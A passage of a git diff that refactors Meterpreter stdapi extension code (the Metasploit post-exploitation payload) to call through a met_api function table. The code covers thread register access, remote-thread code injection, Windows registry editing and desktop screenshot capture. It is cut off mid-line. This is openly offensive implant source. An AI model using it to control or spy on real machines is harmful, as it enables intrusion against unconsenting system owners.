request_sys_process_thread_resume(Remote *remote, Packet *packet) else result = ERROR_INVALID_PARAMETER; - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -302,14 +301,14 @@ DWORD request_sys_process_thread_resume(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; DWORD code; - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { - code = packet_get_tlv_value_uint(packet, TLV_TYPE_EXIT_CODE); + code = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXIT_CODE); if (!TerminateThread(thread, code)) result = GetLastError(); @@ -317,7 +316,7 @@ DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet) else result = ERROR_INVALID_PARAMETER; - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -329,13 +328,13 @@ DWORD request_sys_process_thread_terminate(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; do { - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { CONTEXT context; DWORD index; @@ -404,7 +403,7 @@ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) reg[2].buffer = (PUCHAR)&valNbo; // Add the register - packet_add_tlv_group(response, TLV_TYPE_REGISTER, reg, 3); + met_api->packet.add_tlv_group(response, TLV_TYPE_REGISTER, reg, 3); } } else @@ -412,7 +411,7 @@ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -425,13 +424,13 @@ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) */ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; do { - if ((thread = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) + if ((thread = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_THREAD_HANDLE))) { CONTEXT context; DWORD index = 0; @@ -449,7 +448,7 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) } // Enumerate through all of the register we're setting - while (packet_enum_tlv(packet, index++, TLV_TYPE_REGISTER, + while (met_api->packet.enum_tlv(packet, index++, TLV_TYPE_REGISTER, ®) == ERROR_SUCCESS) { LPCSTR name; @@ -457,14 +456,14 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) Tlv nameTlv, valueTlv; // Get the group's entries - if ((packet_get_tlv_group_entry(packet, ®, + if ((met_api->packet.get_tlv_group_entry(packet, ®, TLV_TYPE_REGISTER_NAME, &nameTlv) != ERROR_SUCCESS) || - (packet_get_tlv_group_entry(packet, ®, + (met_api->packet.get_tlv_group_entry(packet, ®, TLV_TYPE_REGISTER_VALUE_32, &valueTlv) != ERROR_SUCCESS)) continue; // Validate them - if ((packet_is_tlv_null_terminated(&nameTlv) != ERROR_SUCCESS) + if ((met_api->packet.is_tlv_null_terminated(&nameTlv) != ERROR_SUCCESS) || (valueTlv.header.length < sizeof(ULONG))) continue; @@ -488,7 +487,7 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet) } while (0); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c index 01da4f72..cd76250a 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c @@ -1,5 +1,5 @@ #include "precomp.h" -#include "../../../../../common/arch/win/remote_thread.h" +#include "common_metapi.h" DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate, LPVOID *buffer, DWORD length, DWORD prot); @@ -36,7 +36,7 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, } // Create the thread in the target process - if (!(thread = create_remote_thread(process, 0, codeInProcess, paramInProcess, 0, &threadId))) + if (!(thread = met_api->thread.create_remote(process, 0, codeInProcess, paramInProcess, 0, &threadId))) { result = GetLastError(); break; diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c b/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c index fc725c08..8a5ffe36 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include /*! @@ -9,13 +10,13 @@ */ DWORD request_registry_check_key_exists(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey) { @@ -28,13 +29,13 @@ DWORD request_registry_check_key_exists(Remote *remote, Packet *packet) } dprintf("[REG] Key exists? %s", exists ? "TRUE" : "FALSE"); - packet_add_tlv_bool(response, TLV_TYPE_BOOL, exists); + met_api->packet.add_tlv_bool(response, TLV_TYPE_BOOL, exists); result = ERROR_SUCCESS; } free(baseKey); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -51,14 +52,14 @@ out: */ DWORD request_registry_load_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); - wchar_t *hiveFile = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH)); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + wchar_t *hiveFile = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH)); DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey && hiveFile) { @@ -67,20 +68,20 @@ DWORD request_registry_load_key(Remote *remote, Packet *packet) free(baseKey); free(hiveFile); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } DWORD request_registry_unload_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey) { @@ -88,16 +89,16 @@ DWORD request_registry_unload_key(Remote *remote, Packet *packet) } free(baseKey); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } static DWORD open_key(Packet *packet, HKEY *rootKey, HKEY *resKey) { - *rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); - DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); + *rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); // Validate the parameters and then attempt to create the key DWORD result = ERROR_INVALID_PARAMETER; @@ -126,7 +127,7 @@ static DWORD open_key(Packet *packet, HKEY *rootKey, HKEY *resKey) */ DWORD request_registry_open_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } @@ -137,10 +138,10 @@ DWORD request_registry_open_key(Remote *remote, Packet *packet) // Add the HKEY if we succeeded, but always return a result if (result == ERROR_SUCCESS) { - packet_add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); + met_api->packet.add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); } - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -156,15 +157,15 @@ out: */ DWORD request_registry_open_remote_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } HKEY resKey = NULL; - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *targetHost = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_TARGET_HOST)); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *targetHost = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_TARGET_HOST)); // Validate the parameters and then attempt to create the key DWORD result = ERROR_INVALID_PARAMETER; @@ -174,11 +175,11 @@ DWORD request_registry_open_remote_key(Remote *remote, Packet *packet) // Add the HKEY if we succeeded, but always return a result if (result == ERROR_SUCCESS) { - packet_add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); + met_api->packet.add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); } free(targetHost); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -195,15 +196,15 @@ out: */ DWORD request_registry_create_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } HKEY resKey = NULL; - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); - DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + DWORD permission = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PERMISSION); // Validate the parameters and then attempt to create the key DWORD result = ERROR_INVALID_PARAMETER; @@ -218,18 +219,18 @@ DWORD request_registry_create_key(Remote *remote, Packet *packet) // Add the HKEY if we succeeded, but always return a result if (result == ERROR_SUCCESS) { - packet_add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); + met_api->packet.add_tlv_qword(response, TLV_TYPE_HKEY, (QWORD)resKey); } free(baseKey); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } static void enum_key(Remote *remote, Packet *packet, HKEY hkey) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { return; } @@ -259,9 +260,9 @@ static void enum_key(Remote *remote, Packet *packet, HKEY hkey) result = RegEnumKeyW(hkey, index, name, maxSubKeyLen); if (result == ERROR_SUCCESS) { - char *tmp = wchar_to_utf8(name); + char *tmp = met_api->string.wchar_to_utf8(name); if (tmp) { - packet_add_tlv_string(response, TLV_TYPE_KEY_NAME, tmp); + met_api->packet.add_tlv_string(response, TLV_TYPE_KEY_NAME, tmp); free(tmp); } } else { @@ -276,12 +277,12 @@ static void enum_key(Remote *remote, Packet *packet, HKEY hkey) free(name); err: - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); } static void enum_value(Remote *remote, Packet *packet, HKEY hkey) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { return; } @@ -313,9 +314,9 @@ static void enum_value(Remote *remote, Packet *packet, HKEY hkey) NULL, NULL, NULL, NULL); if (result == ERROR_SUCCESS) { - char *tmp = wchar_to_utf8(name); + char *tmp = met_api->string.wchar_to_utf8(name); if (tmp) { - packet_add_tlv_string(response, TLV_TYPE_VALUE_NAME, tmp); + met_api->packet.add_tlv_string(response, TLV_TYPE_VALUE_NAME, tmp); free(tmp); } } else { @@ -330,7 +331,7 @@ static void enum_value(Remote *remote, Packet *packet, HKEY hkey) free(name); err: - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); } @@ -345,7 +346,7 @@ err: */ DWORD request_registry_enum_key(Remote *remote, Packet *packet) { - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); enum_key(remote, packet, hkey); return ERROR_SUCCESS; @@ -386,14 +387,14 @@ DWORD request_registry_enum_key_direct(Remote *remote, Packet *packet) */ DWORD request_registry_delete_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY rootKey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); - wchar_t *baseKey = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); - DWORD flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); + HKEY rootKey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_ROOT_KEY); + wchar_t *baseKey = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_BASE_KEY)); + DWORD flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_FLAGS); DWORD result = ERROR_INVALID_PARAMETER; if (rootKey && baseKey) { @@ -405,7 +406,7 @@ DWORD request_registry_delete_key(Remote *remote, Packet *packet) } free(baseKey); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -419,12 +420,12 @@ out: */ DWORD request_registry_close_key(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); DWORD result = ERROR_INVALID_PARAMETER; if (hkey) { @@ -432,7 +433,7 @@ DWORD request_registry_close_key(Remote *remote, Packet *packet) } // Set the result and send the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -488,7 +489,7 @@ static wchar_t *reg_multi_sz_parse(char* str, size_t *length) for (i = 0; i < count; i++) { wchar_t * tmp_buf = calloc(strlen(string_arr[i]) + 1, sizeof(wchar_t)); - tmp_buf = utf8_to_wchar(string_arr[i]); + tmp_buf = met_api->string.utf8_to_wchar(string_arr[i]); wcsncpy(ptr, tmp_buf, wcslen(tmp_buf) + 1); // join the splited strings. ptr += wcslen(tmp_buf) + 1; // append next string to the end of last string, keep the null-terminater. @@ -504,7 +505,7 @@ static wchar_t *reg_multi_sz_parse(char* str, size_t *length) static void set_value(Remote *remote, Packet *packet, HKEY hkey) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { return; } @@ -515,11 +516,11 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey) Tlv valueData; // Acquire the standard TLVs - valueName = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); - valueType = packet_get_tlv_value_uint(packet, TLV_TYPE_VALUE_TYPE); + valueName = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); + valueType = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_VALUE_TYPE); // Get the value data TLV - if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &valueData) != ERROR_SUCCESS) { + if (met_api->packet.get_tlv(packet, TLV_TYPE_VALUE_DATA, &valueData) != ERROR_SUCCESS) { result = ERROR_INVALID_PARAMETER; } else { // Now let's rock this shit! @@ -528,7 +529,7 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey) switch (valueType) { case REG_SZ: case REG_EXPAND_SZ: - buf = utf8_to_wchar(valueData.buffer); + buf = met_api->string.utf8_to_wchar(valueData.buffer); len = (wcslen(buf) + 1) * sizeof(wchar_t); break; case REG_MULTI_SZ: @@ -548,7 +549,7 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey) free(valueName); // Populate the result code - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); } /* @@ -563,7 +564,7 @@ static void set_value(Remote *remote, Packet *packet, HKEY hkey) */ DWORD request_registry_set_value(Remote *remote, Packet *packet) { - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); set_value(remote, packet, hkey); return ERROR_SUCCESS; @@ -596,7 +597,7 @@ DWORD request_registry_set_value_direct(Remote *remote, Packet *packet) static void query_value(Remote *remote, Packet *packet, HKEY hkey) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { return; } @@ -608,7 +609,7 @@ static void query_value(Remote *remote, Packet *packet, HKEY hkey) DWORD result = ERROR_SUCCESS; DWORD valueType = 0; - valueName = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); + valueName = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); // Get the size of the value data if ((result = RegQueryValueExW(hkey, valueName, 0, NULL, NULL, @@ -630,26 +631,26 @@ static void query_value(Remote *remote, Packet *packet, HKEY hkey) } // Add the information about the value to the response - packet_add_tlv_uint(response, TLV_TYPE_VALUE_TYPE, valueType); + met_api->packet.add_tlv_uint(response, TLV_TYPE_VALUE_TYPE, valueType); switch (valueType) { case REG_SZ: case REG_EXPAND_SZ: - tmp = wchar_to_utf8((wchar_t *)valueData); + tmp = met_api->string.wchar_to_utf8((wchar_t *)valueData); if (tmp) { - packet_add_tlv_string(response, TLV_TYPE_VALUE_DATA, tmp); + met_api->packet.add_tlv_string(response, TLV_TYPE_VALUE_DATA, tmp); free(tmp); } else { - packet_add_tlv_raw(response, TLV_TYPE_VALUE_DATA, + met_api->packet.add_tlv_raw(response, TLV_TYPE_VALUE_DATA, valueData, valueDataSize); } break; case REG_DWORD: - packet_add_tlv_uint(response, TLV_TYPE_VALUE_DATA, + met_api->packet.add_tlv_uint(response, TLV_TYPE_VALUE_DATA, *(LPDWORD)valueData); break; default: - packet_add_tlv_raw(response, TLV_TYPE_VALUE_DATA, + met_api->packet.add_tlv_raw(response, TLV_TYPE_VALUE_DATA, valueData, valueDataSize); break; } @@ -657,7 +658,7 @@ static void query_value(Remote *remote, Packet *packet, HKEY hkey) err: free(valueName); // Populate the result code - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); } /* @@ -670,7 +671,7 @@ err: */ DWORD request_registry_query_value(Remote *remote, Packet *packet) { - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); query_value(remote, packet, hkey); return ERROR_SUCCESS; @@ -708,7 +709,7 @@ DWORD request_registry_query_value_direct(Remote *remote, Packet *packet) */ DWORD request_registry_enum_value(Remote *remote, Packet *packet) { - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); enum_value(remote, packet, hkey); return ERROR_SUCCESS; @@ -746,13 +747,13 @@ DWORD request_registry_enum_value_direct(Remote *remote, Packet *packet) */ DWORD request_registry_delete_value(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); - wchar_t *valueName = utf8_to_wchar(packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); + wchar_t *valueName = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME)); DWORD result = ERROR_INVALID_PARAMETER; if (hkey && valueName) { @@ -760,7 +761,7 @@ DWORD request_registry_delete_value(Remote *remote, Packet *packet) } free(valueName); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } @@ -774,12 +775,12 @@ out: */ DWORD request_registry_query_class(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); if (response == NULL) { goto out; } - HKEY hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); + HKEY hkey = (HKEY)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HKEY); DWORD result = ERROR_INVALID_PARAMETER; if (!hkey) { @@ -792,12 +793,12 @@ DWORD request_registry_query_class(Remote *remote, Packet *packet) result = RegQueryInfoKeyA(hkey, className, &classNameLen, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (result == ERROR_SUCCESS) { - packet_add_tlv_raw(response, TLV_TYPE_VALUE_DATA, + met_api->packet.add_tlv_raw(response, TLV_TYPE_VALUE_DATA, className, classNameLen); } err: - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); out: return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c index 648585b0..ad0827ff 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/desktop.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "./../sys/session.h" #include "./../sys/process/ps.h" @@ -45,7 +46,7 @@ BOOL CALLBACK desktop_enumdesktops_callback(LPTSTR cpDesktopName, LPARAM lpParam entry[2].header.length = (DWORD)(strlen(cpDesktopName) + 1); entry[2].buffer = (PUCHAR)cpDesktopName; - packet_add_tlv_group(dl->response, TLV_TYPE_DESKTOP, entry, 3); + met_api->packet.add_tlv_group(dl->response, TLV_TYPE_DESKTOP, entry, 3); } while (0); @@ -94,10 +95,10 @@ DWORD request_ui_desktop_enum(Remote * remote, Packet * request) do { - response = packet_create_response(request); + response = met_api->packet.create_response(request); if (!response) { - BREAK_WITH_ERROR("[UI] desktop_enum. packet_create_response failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[UI] desktop_enum. met_api->packet.create_response failed", ERROR_INVALID_HANDLE); } EnumWindowStations(desktop_enumstations_callback, (LPARAM)response); @@ -106,7 +107,7 @@ DWORD request_ui_desktop_enum(Remote * remote, Packet * request) if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return ERROR_SUCCESS; @@ -122,25 +123,25 @@ DWORD request_ui_desktop_get(Remote * remote, Packet * request) do { - response = packet_create_response(request); + response = met_api->packet.create_response(request); if (!response) { - BREAK_WITH_ERROR("[UI] desktop_get. packet_create_response failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[UI] desktop_get. met_api->packet.create_response failed", ERROR_INVALID_HANDLE); } - lock_acquire(remote->lock); + met_api->lock.acquire(remote->lock); - packet_add_tlv_uint(response, TLV_TYPE_DESKTOP_SESSION, remote->curr_sess_id); - packet_add_tlv_string(response, TLV_TYPE_DESKTOP_STATION, remote->curr_station_name); - packet_add_tlv_string(response, TLV_TYPE_DESKTOP_NAME, remote->curr_desktop_name); + met_api->packet.add_tlv_uint(response, TLV_TYPE_DESKTOP_SESSION, remote->curr_sess_id); + met_api->packet.add_tlv_string(response, TLV_TYPE_DESKTOP_STATION, remote->curr_station_name); + met_api->packet.add_tlv_string(response, TLV_TYPE_DESKTOP_NAME, remote->curr_desktop_name); - lock_release(remote->lock); + met_api->lock.release(remote->lock); } while (0); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return ERROR_SUCCESS; @@ -164,13 +165,13 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) do { - response = packet_create_response(request); + response = met_api->packet.create_response(request); if (!response) { - BREAK_WITH_ERROR("[UI] desktop_set. packet_create_response failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[UI] desktop_set. met_api->packet.create_response failed", ERROR_INVALID_HANDLE); } - dwSessionId = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SESSION); + dwSessionId = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SESSION); if (!dwSessionId) { BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_SESSION provided", ERROR_INVALID_PARAMETER); @@ -181,19 +182,19 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) dwSessionId = session_id(GetCurrentProcessId()); } - cpStationName = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_STATION); + cpStationName = met_api->packet.get_tlv_value_string(request, TLV_TYPE_DESKTOP_STATION); if (!cpStationName) { BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_STATION provided", ERROR_INVALID_PARAMETER); } - cpDesktopName = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_NAME); + cpDesktopName = met_api->packet.get_tlv_value_string(request, TLV_TYPE_DESKTOP_NAME); if (!cpDesktopName) { BREAK_WITH_ERROR("[UI] desktop_set. no TLV_TYPE_DESKTOP_NAME provided", ERROR_INVALID_PARAMETER); } - bSwitch = packet_get_tlv_value_bool(request, TLV_TYPE_DESKTOP_SWITCH); + bSwitch = met_api->packet.get_tlv_value_bool(request, TLV_TYPE_DESKTOP_SWITCH); dprintf("[UI] desktop_set: Session %d\\%s\\%s (bSwitch=%d)", dwSessionId, cpStationName, cpDesktopName, bSwitch); @@ -240,7 +241,7 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) } } - core_update_desktop(remote, dwSessionId, cpStationName, cpDesktopName); + met_api->desktop.update(remote, dwSessionId, cpStationName, cpDesktopName); } else { @@ -252,7 +253,7 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } if (hDesktop) @@ -272,7 +273,7 @@ DWORD request_ui_desktop_set(Remote * remote, Packet * request) if (dwResult != ERROR_SUCCESS) { - core_update_desktop(remote, -1, NULL, NULL); + met_api->desktop.update(remote, -1, NULL, NULL); } return ERROR_SUCCESS; @@ -320,7 +321,7 @@ DWORD THREADCALL desktop_screenshot_thread(THREAD * thread) while (TRUE) { - if (event_poll(thread->sigterm, 0)) + if (met_api->event.poll(thread->sigterm, 0)) { BREAK_WITH_ERROR("[UI] desktop_screenshot_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD); } @@ -373,7 +374,7 @@ DWORD THREADCALL desktop_screenshot_thread(THREAD * thread) dwTotal += dwRead; } - dwResult = packet_add_tlv_raw(response, TLV_TYPE_DESKTOP_SCREENSHOT, pBuffer, dwTotal); + dwResult = met_api->packet.add_tlv_raw(response, TLV_TYPE_DESKTOP_SCREENSHOT, pBuffer, dwTotal); break; } @@ -413,13 +414,13 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) do { - response = packet_create_response(request); + response = met_api->packet.create_response(request); if (!response) { - BREAK_WITH_ERROR("[UI] desktop_screenshot. packet_create_response failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[UI] desktop_screenshot. met_api->packet.create_response failed", ERROR_INVALID_HANDLE); } - quality = 